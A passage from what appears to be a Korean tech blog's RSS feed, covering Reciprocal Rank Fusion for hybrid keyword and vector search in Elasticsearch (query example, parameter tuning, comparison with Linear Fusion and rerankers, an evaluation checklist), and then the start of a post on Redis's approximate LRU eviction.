  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;D&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;GC 로그 진단&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;JVM 튜닝 체크리스트&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reciprocalRankFusion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;keyword&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; vector&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실제 서비스에서는 반드시 &lt;strong&gt;동일한 문서를 식별할 수 있는 안정적인 ID&lt;/strong&gt;로 합쳐야 합니다. 제목이나 본문 문자열을 키로 사용하면 중복·수정·다국어 문서에서 잘못 병합될 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Elasticsearch RRF retriever 예제&lt;/h2&gt;
&lt;p&gt;Elasticsearch에서는 하나의 검색 요청 안에 키워드와 kNN retriever를 넣고 RRF로 결합할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;POST documents/_search
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;retriever&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;rrf&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;retrievers&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;standard&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;query&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
              &lt;span class=&quot;token property&quot;&gt;&quot;match&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token property&quot;&gt;&quot;content&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;JVM 메모리 누수 해결&quot;&lt;/span&gt;
              &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;knn&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;field&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;content_embedding&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;query_vector&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;-0.08&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0.31&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;k&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token property&quot;&gt;&quot;num_candidates&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;rank_window_size&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;rank_constant&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;실행 흐름은 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Keyword top N ─┐
               ├─ RRF ─ Top K ─ optional Reranker
Vector top N ──┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;두 child retriever는 독립적으로 후보를 찾습니다. coordinating node는 문서 ID를 기준으로 후보를 합치고 RRF 점수를 계산한 뒤 요청의 &lt;code class=&quot;language-text&quot;&gt;size&lt;/code&gt;만큼 반환합니다.&lt;/p&gt;
&lt;p&gt;Elastic 공식 문서 기준으로 RRF에는 최소 두 개의 child retriever가 필요하며, 각 retriever는 공식에서 동일한 가중치로 참여합니다. 검색별 가중치를 직접 주고 싶다면 Linear retriever가 더 적합합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;rank_constant와 rank_window_size&lt;/h2&gt;
&lt;h3&gt;rank_constant&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;rank_constant&lt;/code&gt;는 공식의 &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1 / (rank_constant + rank)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;작은 값: 최상위 문서의 영향력이 더 강해집니다.&lt;/li&gt;
&lt;li&gt;큰 값: 하위 순위 문서도 비교적 비슷한 기여도를 가집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;기본값 60을 무조건 최적값으로 받아들이기보다, 검색 로그에서 만든 평가 질의로 비교해야 합니다. 단, 가중치를 직접 통제하려는 목적으로 &lt;code class=&quot;language-text&quot;&gt;rank_constant&lt;/code&gt;를 과도하게 조정하는 것은 이해하기 어렵습니다. 그 요구는 Linear Fusion으로 표현하는 편이 명확합니다.&lt;/p&gt;
&lt;h3&gt;rank_window_size&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;rank_window_size&lt;/code&gt;는 각 검색기에서 RRF에 전달할 후보 수입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;작으면 빠르지만 결합할 후보가 부족해 Recall이 떨어질 수 있습니다.&lt;/li&gt;
&lt;li&gt;크면 더 많은 후보를 결합하지만 CPU·메모리·네트워크·지연시간 비용이 증가합니다.&lt;/li&gt;
&lt;li&gt;최종 &lt;code class=&quot;language-text&quot;&gt;size&lt;/code&gt; 이상이어야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;벡터 검색의 &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt;가 &lt;code class=&quot;language-text&quot;&gt;rank_window_size&lt;/code&gt;보다 크면 RRF 단계에서 후보가 잘립니다. 반대로 벡터 &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt;가 더 작으면 그만큼의 후보만 참여합니다.&lt;/p&gt;
&lt;p&gt;운영에서는 후보 창을 품질 지표와 함께 측정해야 합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;후보 창&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;Recall@10&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;NDCG@10&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;p95 latency&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;20&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.81&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.72&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;24ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;50&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.89&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.78&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;43ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;100&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.92&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.79&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;82ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;숫자는 예시입니다. 실제 값은 인덱스 크기, ANN 설정, 질의 분포와 하드웨어에서 측정해야 합니다. 품질이 거의 오르지 않는데 지연시간만 증가하는 구간을 찾는 것이 목적입니다.&lt;/p&gt;
&lt;p&gt;벡터 후보 검색 자체가 느리거나 Recall이 낮다면 &lt;a href=&quot;/hnsw-vector-search/&quot;&gt;HNSW의 &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;와 필터링 문제&lt;/a&gt;도 함께 확인해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;RRF, Linear Fusion, Reranker 선택 기준&lt;/h2&gt;
&lt;p&gt;세 방법은 서로 완전히 대체하는 관계가 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;권장 출발점&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;점수 체계가 다르고 보정 데이터가 없음&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RRF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정규화·가중치 없이 안정적으로 시작 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키워드와 벡터의 영향력을 명시적으로 통제&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Linear Fusion&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정규화된 원점수와 가중치를 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;상위 몇 건의 정밀도가 매우 중요&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;RRF + Reranker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빠른 후보 검색 후 더 비싼 모델로 재정렬&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;충분한 클릭·판정 데이터와 복잡한 랭킹 요구&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;LTR&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;여러 신호를 학습한 순위 함수 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;RRF의 한계&lt;/h3&gt;
&lt;p&gt;RRF는 원점수 차이를 버립니다. 같은 1위라도 압도적인 1위와 간신히 올라온 1위를 동일하게 취급합니다. 또한 기본 공식에서는 각 검색기가 동일한 비중으로 참여합니다.&lt;/p&gt;
&lt;p&gt;이 특성이 장점일 때도 있고 한계일 때도 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터가 부족하고 빠르게 기준선을 만들 때: 장점&lt;/li&gt;
&lt;li&gt;특정 검색 신호를 강하게 반영해야 할 때: 한계&lt;/li&gt;
&lt;li&gt;상위 문서의 세밀한 의미 판단이 필요할 때: 한계&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Linear Fusion은 정규화 후 가중합으로 검색별 영향력을 통제합니다. Cross-encoder Reranker는 질의와 후보 문서를 함께 입력해 더 정밀하게 재정렬하지만, 모델 추론 비용과 지연시간이 추가됩니다.&lt;/p&gt;
&lt;p&gt;실무에서 자주 쓰는 구조는 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;BM25 + Vector
      ↓
     RRF             빠른 1차 결합
      ↓
 Top 20~100
      ↓
 Cross-encoder       선택적 2차 정렬
      ↓
   Final Top K&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;/rag-explained/&quot;&gt;RAG 파이프라인&lt;/a&gt;에서는 이 최종 Top K가 LLM 컨텍스트로 들어갑니다. 따라서 검색 품질뿐 아니라 토큰 비용과 응답 지연에도 영향을 줍니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;운영 체크리스트&lt;/h2&gt;
&lt;p&gt;RRF를 붙였다는 사실만으로 검색 품질이 보장되지는 않습니다.&lt;/p&gt;
&lt;h3&gt;1. 평가 질의를 만든다&lt;/h3&gt;
&lt;p&gt;실제 사용자 질의에서 다음 유형을 골고루 포함합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;제품명·오류 코드처럼 정확한 단어가 중요한 질의&lt;/li&gt;
&lt;li&gt;자연어 설명처럼 의미 유사성이 중요한 질의&lt;/li&gt;
&lt;li&gt;두 신호가 모두 필요한 질의&lt;/li&gt;
&lt;li&gt;검색 결과가 없어야 하는 질의&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 기준 정답을 만든다&lt;/h3&gt;
&lt;p&gt;질의마다 관련 문서와 관련도 등급을 정의합니다. 클릭 로그만 사용하면 기존 랭킹의 위치 편향이 섞일 수 있으므로 담당자 판정이나 보정된 로그를 함께 사용합니다.&lt;/p&gt;
&lt;h3&gt;3. 품질과 비용을 함께 본다&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Recall@K&lt;/code&gt;: 관련 문서를 후보군에서 놓치지 않았는가&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;NDCG@K&lt;/code&gt;: 관련도가 높은 문서가 앞에 배치됐는가&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;MRR&lt;/code&gt;: 첫 관련 문서가 얼마나 위에 있는가&lt;/li&gt;
&lt;li&gt;p50·p95·p99 latency&lt;/li&gt;
&lt;li&gt;검색 노드 CPU·메모리와 벡터 검색 비용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 실패 질의를 분류한다&lt;/h3&gt;
&lt;p&gt;평균 점수 하나만 보면 개선 방향을 찾기 어렵습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;exact-term miss
semantic miss
filter miss
stale document
duplicate document
wrong-language result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;어느 검색기가 후보를 놓쳤는지, RRF에서 순위가 밀렸는지, Reranker가 뒤집었는지를 단계별로 기록해야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;RRF는 점수 정규화가 필요 없나요?&lt;/h3&gt;
&lt;p&gt;네. RRF는 원점수가 아니라 각 결과 목록의 순위를 사용하므로 BM25와 벡터 점수를 같은 범위로 정규화하지 않아도 됩니다. 이것이 RRF의 가장 큰 실용적 장점입니다.&lt;/p&gt;
&lt;h3&gt;rank_constant가 검색기 가중치인가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. &lt;code class=&quot;language-text&quot;&gt;rank_constant&lt;/code&gt;는 모든 결과 목록에 공통으로 적용되는 순위 완화 상수입니다. 키워드와 벡터 검색에 서로 다른 비중을 주려면 정규화와 가중치를 지원하는 Linear Fusion을 검토해야 합니다.&lt;/p&gt;
&lt;h3&gt;RRF를 쓰면 Reranker가 필요 없나요?&lt;/h3&gt;
&lt;p&gt;목표 품질에 따라 다릅니다. RRF는 여러 검색기의 후보를 빠르고 안정적으로 합치는 1차 결합 방법입니다. 상위 결과의 문맥적 정확도가 매우 중요하다면 RRF로 후보를 줄인 뒤 Cross-encoder Reranker를 적용할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;후보 수는 많을수록 좋은가요?&lt;/h3&gt;
&lt;p&gt;항상 그렇지는 않습니다. 후보 창을 늘리면 Recall이 좋아질 수 있지만 지연시간과 자원 사용량도 증가합니다. &lt;code class=&quot;language-text&quot;&gt;Recall@K&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;NDCG@K&lt;/code&gt;와 p95 latency를 함께 비교해 포화 지점을 찾아야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;RRF의 핵심은 간단합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;키워드 검색과 벡터 검색에서 각각 상위 후보를 가져옵니다.&lt;/li&gt;
&lt;li&gt;원점수를 버리고 각 목록의 순위를 사용합니다.&lt;/li&gt;
&lt;li&gt;문서마다 &lt;code class=&quot;language-text&quot;&gt;1/(k+rank)&lt;/code&gt;를 계산해 합산합니다.&lt;/li&gt;
&lt;li&gt;합산 점수로 최종 Top K를 반환합니다.&lt;/li&gt;
&lt;li&gt;후보 수와 품질·지연시간을 함께 측정합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;보정 데이터가 없고 서로 다른 검색 결과를 빠르게 결합해야 한다면 RRF는 좋은 출발점입니다. 검색별 영향력을 명시적으로 통제해야 한다면 Linear Fusion, 상위 결과의 최고 정밀도가 필요하다면 Reranker를 추가합니다.&lt;/p&gt;
&lt;p&gt;중요한 것은 특정 알고리즘을 고집하는 것이 아니라 &lt;strong&gt;후보를 놓치지 않는 품질과 사용자가 체감하는 지연시간을 함께 측정하는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.elastic.co/docs/reference/elasticsearch/rest-apis/reciprocal-rank-fusion&quot;&gt;Elastic · Reciprocal rank fusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.elastic.co/docs/solutions/search/hybrid-search&quot;&gt;Elastic · Hybrid search&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.elastic.co/docs/solutions/search/retrievers-overview&quot;&gt;Elastic · Retrievers overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.elastic.co/docs/solutions/search/ranking&quot;&gt;Elastic · Ranking and reranking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Redis LRU는 진짜 LRU가 아니다 — 근사 퇴거 알고리즘 실전 이해]]></title><description><![CDATA[안녕하세요. 자바파커입니다. LRU(Least Recently Used)는 캐시가 가득 찼을 때 가장 오래 사용하지 않은 항목을 버리는 정책입니다. 교과서 구현은 모든 키의 사용 순서를 정확히 유지합니다. 그런데 Redis의 는 정확한 LRU…]]></description><link>https://blog.javapark.kr/redis-approximate-lru/</link><guid isPermaLink="false">https://blog.javapark.kr/redis-approximate-lru/</guid><pubDate>Sat, 05 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/6d0a8af649bf5869007722476fd62de3/64756/thumbnail.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABwElEQVR42m1S207bQBDd2Ls7sxd7vY7txPYGiAnxAwRSQwskKhJNxUM/ofxD//+x4yAhWiEdjVazc+bMjSnOK2uDcxmiFsIIoTlXHxHHBMO55dwJkUnppEyEoC+Gcdw5tymKEjBijDMGUUShbynI1loHYxfWnhjToC65rARUEigLswD7x8efh8Nwc7N7eHg5HE4XiwljMo7lUZA4K5etnOvzfGjsZq6HVq+9mkpgVOfvr9/+/Dj8urp6HW5f7+93TbMxZnDuVGuI4xNDoemZUmvvdkuz7+xzn25mupLIqM8vzt1l2bXL9nl+mabbqtw39db7oJWM+GWpn86TPrMXLn1a2d3SPq8TItegRnJdlGE+nxfTqfd1WXZtG6rKIIqxebHO9W2wXaLOtBlqgr4Lts91QMVoKjQhjKJ3KyYTOYn0cVpWiBbVRebXWXKeymWS9N6tUlwoDOpIJvFPgZyTcoPYKuy0/u6zbZrSIyCE0Xkk07beof5dMinXAA1CC7BAHDkIzdEzQxzJCUCKSNYhGik/kqnyQsoKYAYwJyDWiFQLPaa0Z4pwSuXGvFlKgTH/T38UEMID5ADE8VLShdDB/QWQkCk0iXnYbQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/6d0a8af649bf5869007722476fd62de3/a1b3b/thumbnail.webp 215w,
/static/6d0a8af649bf5869007722476fd62de3/fc700/thumbnail.webp 430w,
/static/6d0a8af649bf5869007722476fd62de3/521f7/thumbnail.webp 860w,
/static/6d0a8af649bf5869007722476fd62de3/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/6d0a8af649bf5869007722476fd62de3/f7886/thumbnail.png 215w,
/static/6d0a8af649bf5869007722476fd62de3/bc750/thumbnail.png 430w,
/static/6d0a8af649bf5869007722476fd62de3/3e3fe/thumbnail.png 860w,
/static/6d0a8af649bf5869007722476fd62de3/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/6d0a8af649bf5869007722476fd62de3/3e3fe/thumbnail.png&apos; alt=&apos;Redis가 전체 키가 아닌 샘플 후보에서 퇴거 키를 선택하는 구조&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;Redis가 전체 키가 아닌 샘플 후보에서 퇴거 키를 선택하는 구조&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;LRU(Least Recently Used)는 캐시가 가득 찼을 때 &lt;strong&gt;가장 오래 사용하지 않은 항목&lt;/strong&gt;을 버리는 정책입니다. 교과서 구현은 모든 키의 사용 순서를 정확히 유지합니다.&lt;/p&gt;
&lt;p&gt;그런데 Redis의 &lt;code class=&quot;language-text&quot;&gt;allkeys-lru&lt;/code&gt;는 정확한 LRU가 아닙니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Redis는 전체 키를 정렬하지 않고 일부 후보를 샘플링해 가장 오래 사용하지 않은 키를 제거합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;정확도를 조금 포기하는 대신 메모리와 갱신 비용을 줄이는 근사 알고리즘입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정확한 LRU는 어떻게 동작할까&lt;/h2&gt;
&lt;p&gt;일반적인 정확한 LRU 캐시는 해시 맵과 이중 연결 리스트를 함께 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Hash Map           → 키를 O(1)에 찾음
Doubly Linked List → 사용 순서를 O(1)에 변경

MRU [C] [A] [F] [D] [E] [G] [H] [B] LRU&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;GET A&lt;/code&gt;가 발생하면 A를 리스트 맨 앞으로 옮깁니다. 새 키 X를 넣어야 한다면 맨 뒤의 B를 제거합니다.&lt;/p&gt;
&lt;p&gt;정확하지만 모든 키마다 리스트 포인터와 순서 갱신이 필요합니다. 수백만 키를 관리하는 Redis에서는 이 부가 메모리와 쓰기 비용이 무시하기 어렵습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Redis의 근사 LRU&lt;/h2&gt;
&lt;p&gt;Redis는 각 키에 마지막 접근 시각과 관련된 정보를 보관하고, 메모리가 한도를 넘으면 일부 키를 무작위로 뽑습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;전체 키: A B C D E F G H
